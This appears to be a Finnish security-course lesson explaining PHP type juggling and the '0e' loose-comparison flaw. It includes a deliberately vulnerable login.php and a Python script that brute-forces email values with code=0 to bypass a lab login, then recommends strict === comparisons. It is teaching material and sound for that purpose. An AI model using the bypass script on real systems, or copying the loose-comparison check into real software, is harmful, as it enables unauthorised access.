Type-juggling haavoittuvuudet

Mitä ovat type juggling haavoittuvuudet?

Helppo
1 h 30 min

Staattisesti vs. Dynaamisesti tyypitetyt ohjelmointikielet

Staattisesti tyypitetyn ja dynaamisesti tyypitetyn ohjelmointikielten erot liittyvät siihen, miten ohjelmointikieli käsittelee muuttujien tietotyyppejä ja tarkistaa niiden yhteensopivuutta.

Staattinen tyypitys

Staattisesti tyypitetty ohjelmointikieli vaatii, että muuttujille määritellään tietotyyppi ennen niiden käyttöä. Tämä tarkoittaa, että ohjelmoijan on nimenomaisesti määriteltävä, millaista tietoa muuttuja voi sisältää. Jos yritetään käyttää muuttujaa tavalla, joka ei ole yhteensopiva sen tietotyypin kanssa, ohjelma antaa virheen. Esimerkki staattisesti tyypitetystä ohjelmointikielestä on Java:

int muuttuja1 = 5;
String muttuja2 = "5";

boolean yhtaSuuri = muuttuja1 == muuttuja2; // aiheuttaa virheen jo koodieditorissa eikä koskaan päädy valmiiksi ohjelmaksi

Dynaaminen tyypitys

Dynaamisesti tyypitetyssä ohjelmointikielessä muuttujien tietotyypit määritellään automaattisesti suorituksen aikana niiden sisällön perusteella. Tämä tarkoittaa, että ohjelmoija voi käyttää muuttujia ilman ennakkoilmoitusta niiden tietotyypistä. Tämä voi antaa enemmän joustavuutta ohjelmoinnissa, mutta voi myös aiheuttaa vaikeuksia, jos tietotyypit eivät ole yhteensopivia ja ohjelma toimii odottamattomalla tavalla. Esimerkki dynaamisesti tyypitetystä ohjelmointikielestä on Python.

muuttuja1 = "5"
muuttuja2 = 5
yhta_suuri = muuttuja1 == muuttuja2 # koodi suoriutuu mutta tulos on False

Tässä Python-esimerkissä koodi suoriutuu kyllä, mutta tulos on epätosi, "5" ei ole yhtäkuin 5. Tämä johtuu siitä, että vaikka Python on dynaamisesti tyypitetty, se on myös vahvasti tyypitetty, johon tulemme seuraavaksi.

Vahva ja Heikko tyypitys

Vahva ja heikko tyypitys on ohjelmointikielien tyyppijärjestelmän ominaisuus, joka määrittelee miten erityyppisten muuttujien väliset muunnokset käsitellään keskenään.

Heikko tyypitys

Heikosti tyypitetyt ohjelmointikielet tekevät automaattisesti muunnoksia muuttujille silloin kun kahta ei-yhteensopivaa datatyyppiä yritetään verrata. Esimerkiksi jos koitetaan verrata tekstiä "5" ja numeroa 5, saatetaan molemmat muuttaa numeroiksi ja verrata vasta sitten. Tässä esimerkki JavaScriptista:

var a = 5;
var b = "5";
a == b // true

Vahva tyypitys

Vahvasti tyypitetyt ohjelointikielet eivät tee näitä muunnoksia. Tässä esimerkki Pythonista:

a = 5
b = "5"
a == b # False

Löysät vertailut

Usein heikosti tyypitetyt ohjelmointikielet kuten PHP ja JavaScript tarjoavat mahdollisuuden tehdä sekä löysiä vertailuja (yleensä == operaattorilla) joissa muunnokset tehdään, että tarkkoja vertailuja (yleensä === operaattorilla) joissa muunnoksia ei tehdä.

Löysät vertailut (loose comparisons) ovat vertailuoperaatioita, joissa ohjelma vertailee kahta eri muuttujaa, mutta ei vaadi niiden tietotyyppien olevan täysin samat, vaan se voi muuntaa tietotyyppejä vertailua varten automaattisesti. Tämä tarkoittaa, että PHP ohjelma vertailla eri tietotyyppejä, kuten merkkijonoja ja numeerisia arvoja, ilman että käyttäjän täytyy erikseen muuntaa ne samaksi tietotyypiksi.

Esimerkiksi, jos käyttäjä syöttää merkkijonon "42" ja numeerisen arvon 42, ohjelma voi vertailla niitä käyttäen löysiä vertailuja ilman, että ne täytyisi erikseen muuntaa samaksi tietotyypiksi. Jos käytetään löysää yhtäsuuruusvertailua (yleensä ==), Ohjelmassa tulkitaan molemmat arvot numeerisiksi ja, että ne ovat yhtäsuuria, koska ne molemmat vastaavat numeerista arvoa 42.

Siksi, löysien vertailujen käyttöä tulisi välttää ja sen sijaan käyttää tarkkoja vertailuja (strict comparisons), joissa tietotyyppien täytyy olla täsmälleen samat. Tarkat vertailut voidaan tyypillisessti tehdä käyttämällä identtisyysvertailua (===) tai epäidenttisyysvertailua (!==).

Type juggling haavoittuvuus PHP-kielessä

Kun PHP kielessä käytetään löysiä vertailuja (loose comparisons), se voi automaattisesti muuntaa tietotyyppejä vertailua varten, mikä voi johtaa odottamattomiin tuloksiin.

Tieteellinen eksponenttimuoto

Tämän kurssin osalta meitä kiinnostaa eniten tieteellinen eksponenttimuoto. Yksinkertaisena esimerkkinä, aina kun...

  • näemme merkkijonon, joka alkaa nollalla
  • joka jatkuu kirjaimella "e"
  • jota seuraa mikä tahansa määrä numeroita (ainoastaan numeroita)
  • ja tämä merkkijono käytetään numeerisessa kontekstissa (kuten vertailu toiseen numeroon)

Niin se arvioidaan numerona. Esimerkiksi, PHP:ssä lauseke "0e934394" == "0" palauttaa totuusarvon true, koska merkkijono "0e934394" tulkitaan liukuluvuksi (joka on lähellä nollaa), kun se arvioidaan numeerisessa kontekstissa. Tämä tapahtuu, koska merkkijono "0e934394" sisältää numeron 0, jonka jälkeen tulee exponentti 'e' ja sitten joukko numeroita. Tämä vastaa PHP:n sääntöjä merkkijonon arvioimisesta numeerisessa kontekstissa. Kun tätä merkkijonoa verrataan merkkijonoon "0", PHP:ssä tulkitaan molemmat merkkijonot numeerisessa kontekstissa ja huomataan, että molemmat ovat yhtäsuuria numeerisesti. Tämän vuoksi lauseke palauttaa totuusarvon true.

Tässä muutama esimerkki PHP:n merkkijono vertailuista.

bob@marley:~$ php -a
Interactive mode enabled

php > var_dump('0eAAAA' == '0');
bool(false)

php > var_dump('0e1111' == '0');
bool(true)

php > var_dump('0e9999' == 0);
bool(true)

Haavoittuvuus

On lukemattomia tapoja, joilla sovellus voi olla haavoittuva, jos se käyttää löysiä vertailuja. Ajatellaan vaikka että PHP sovelluksessa on salasana "0e92821920192382" joka pitää tietää että sovellukseen pääsee sisään. Sovellus voisi tarkastaa salasanan seuraavasti:


if ($kayttajan_syottama_salasana == "0e92821920192382"") {
    // access granted!
}

Muttta tästä pääsisi ohi vain syöttämällä salasanan "0" koska sovellus muuttaisi sitten molemmat numeroiksi ja oikeasta salasanasta tulisi vertailun ajaksi 0 siinä mistä hyökkääjän syöttämästä salasanastakin.

Käytännön esimerkki: Haavoittuva PHP-sovellus

Ratkaistaan seuraavaksi tehtävä, jossa tarkoitus on ohittaa kirjautuminen käyttämällä hyväksi type-juggling haavoittuvuutta. Alla näet sovelluksen lähdekoodin login.php tiedoston osalta. Käynnistä alla oleva tehtävä ja seuraa vaiheita omaan tahtiin.

login.php tiedoston lähdekoodi.

<?php

function is_valid($email, $given_code) {
  if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    return False;
  }

  $calc_code = substr(md5($email . $secret), 0, 10);
  if ($calc_code == $given_code) {
    return True;
  }
  else {
    return False;
  }
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Login</title>
  <?php include 'database.php';?>
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss/dist/tailwind.min.css" rel="stylesheet">
</head>
<body class="bg-gray-100">

  <div class="flex items-center justify-center h-screen">
    <?php if (isset($_GET['email']) && isset($_GET['code'])): ?>

        <?php if( is_valid($_GET['email'], $_GET['code']) ): ?>
          <div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3">
            <h1 class="text-2xl font-bold mb-4 text-center">Tervetuloa!</h1>
            <p>
              <?php echo $_ENV["FLAG"];?>
            </p>
          </div>
        <?php else: ?>
          <script>
            window.location.href = "/";
          </script>
        <?php endif; ?>

    <?php elseif (isset($_POST['email'])): ?> 
        <div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3">
          <!-- Lähetä kirjautumislinkki jos sposti on olemassa -->
          <?php send_login_link($_POST['email']); ?>
          <h1 class="text-2xl font-bold mb-4 text-center">Sähköpostiisi on lähetetty
          kirjautumislinkki, jos se löytyy järjestelmästä</h1>
        </div>
    <?php else: ?>
        <div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3">
          <h1 class="text-2xl font-bold mb-4 text-center">Palaa takaisin
          kirjautumaan <a href="/">tästä</a></h1>
        </div>
    <?php endif; ?>
  </div>

</body>
</html>

Tehtävät

Flag

Löydä lippu (flag) labraympäristöstä ja syötä se alle.

Haavoittuvuuden todentaminen

Tehtävässä käytetyn sovelluksen etusivu tarjoaa käyttäjälle kirjautumislomakkeen, jossa pyydetään käyttäjän sähköpostiosoitetta. Kun sähköposti annetaan, selain suorittaa POST - pyynnön login.php sivulle, jonka jälkeen sovellus ilmoittaa, että kirjautumislinkki on lähetetty annettuun sähköpostiin, jos se löytyy järjestelmästä.

Siirrymme seuraavaksi tutkimaan lähdekoodia. Koodista näemme hyvin nopeasti, että kun kyseiselle kirjautumissivulle lähetetään POST - pyyntö, jossa on asetettu email parametri, sovellus kutsuu funktiota send_login_link annetulla sähköposti parametrilla. Annetussa koodissa, meillä ei ole näkyvyyttä tähän funktioon.

....
<?php elseif (isset($_POST['email'])): ?> 
  <div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3">
    <!-- Lähetä kirjautumislinkki jos sposti on olemassa -->
    <?php send_login_link($_POST['email']); ?>
    <h1 class="text-2xl font-bold mb-4 text-center">Sähköpostiisi on lähetetty kirjautumislinkki, jos se löytyy järjestelmästä</h1>
  </div>
....

Jatketaan siis tutkimista. Näemme myös koodista, että sovellus ottaa vastaan email ja code parametrit GET-pyynnössä.

.....
<?php if (isset($_GET['email']) && isset($_GET['code'])): ?>
    <?php if( is_valid($_GET['email'], $_GET['code']) ): ?>
        <div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3">
        <h1 class="text-2xl font-bold mb-4 text-center">Tervetuloa!</h1>
        <p>
          <?php echo $_ENV["FLAG"];?>
        </p>
      </div>
    <?php else: ?>
      <script>
         window.location.href = "/";
      </script>
    <?php endif; ?>
    .....

Ensin sovellus tarkistaa, että molemmat email ja code parametrit on asetettu käyttämällä PHP:n isset funktiota. Seuraavalla rivillä sovellus antaa parametrien arvot is_valid nimiselle funktiolle ja jos kyseinen funktio palauttaa True boolean arvon, niin sovellus päästää käyttäjän kirjautumaan sisälle. Muussa tapauksessa sovellus ohjaa käyttäjän etusivulle kirjautumaan.

Jatketaan tutkimalla is_valid funktion toimintaa, joka on paljastettu annetun lähdekoodin alussa.

function is_valid($email, $given_code) {
  if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    return False;
  }

  $calc_code = substr(md5($email . $secret), 0, 6);
  if ($calc_code == $given_code) {
    return True;
  }
  else {
    return False;
  }
}

Ensin is_valid funktio validoi, että annettu sähköposti on oikean muotoinen, eikä mikään roska-arvo. Sitten sovellus laskee MD5 tiivistearvon annetun sähköpostin ja $secret muuttujan (joka on käyttäjälle tuntematon) yhdistelmästä. Lopuksi ottaa lasketusta tiivisteestä ensimmäiset kuusi merkkiä käyttämällä PHP:n sisäänrakennettua substr funktiota. Tämän jälkeen näiden kuuden merkin yhdistelmää verrataan annettuun koodin ja jos nämä ovat identtiset, funktio palauttaa True. Jos ei, sovellus palauttaa False.

Koska voimme osittain kontrolloida arvoa, josta lasketaan $calc_code kuin myös annettua arvoa $given_code ja näitä arvoja verrataan keskenään turvattomasti, voimme hyväksikäyttää tässä piilevää type juggling - haavoittuvuutta, jonka johdosta saada funktio palauttamaan virheellisesti True arvon.

Haavoittuvuuden hyödyntäminen

Seuraavaksi meidän täytyy löytää jokin oikeassa muodossa oleva sähköpostiosoite, joka yhdistämällä tuntemattomaan $secret arvoon, tuottaa oikeanlaisen MD5-tiivisteen. Oikeanlainen tiiviste vaatii, että ensimmäiset 2 merkkiä alkavat 0e ja loput merkeistä ovat ainoastaan numeroita. Syötämme sovellukseen siis erilaisia sähköpostiosoitteita email parametrissa ja arvon "0" code parametrissa. Kun laskettu tiiviste on oikeanlainen, pitäisi sen johtaa siihen, että näiden kahden arvon vertailu palauttaa tosi ja pääsemme kirjautumaan sisälle.

Kirjoitetaan tätä varten lyhyt Python - skripti, joka yrittää automaattisesti erilaisia sähköpostiyhdistelmiä ja lopettaa, kun sovellus palauttaa "Tervetuloa!".

import requests
import string
import random

try_nro = 0
while True:
  try_nro += 1
  val = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
  email =  val + '@hakatemia.fi' 
  r = requests.get(f'https://sinun-labran-url.ha-target.com/login.php?email={email}&code=0')
  if "Tervetuloa" in r.text:
    print(f'# {email} palautti "Tervetuloa"')
    print(r.text)
    break
  else:
    print(f'Kokeiltiin {email} : {try_nro}')
 

Skripti löytää sopivan sähköpostiosoitteen nopeasti.


Voimme lopuksi vielä asettaa oikeaksi todetun sähköpostiosoitteen email parametrin arvoksi ja code parametrin arvoksi "0".

Ratkaisimme tehtävän ja onnistuimme ohittamaan sovelluksen kirjautumisen käyttämällä hyväksi type-juggling haavoittuvuutta.

Vältä type juggling -haavoittuvuudet!

Löysien vertailujen käyttöä PHP:ssä tulisi välttää ja sen sijaan käyttää tarkkoja vertailuja (strict comparisons), joissa tietotyyppien täytyy olla täsmälleen samat.

Tarkat vertailut voidaan tehdä käyttämällä identtisyysvertailua (===) tai epäidenttisyysvertailua (!==).

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.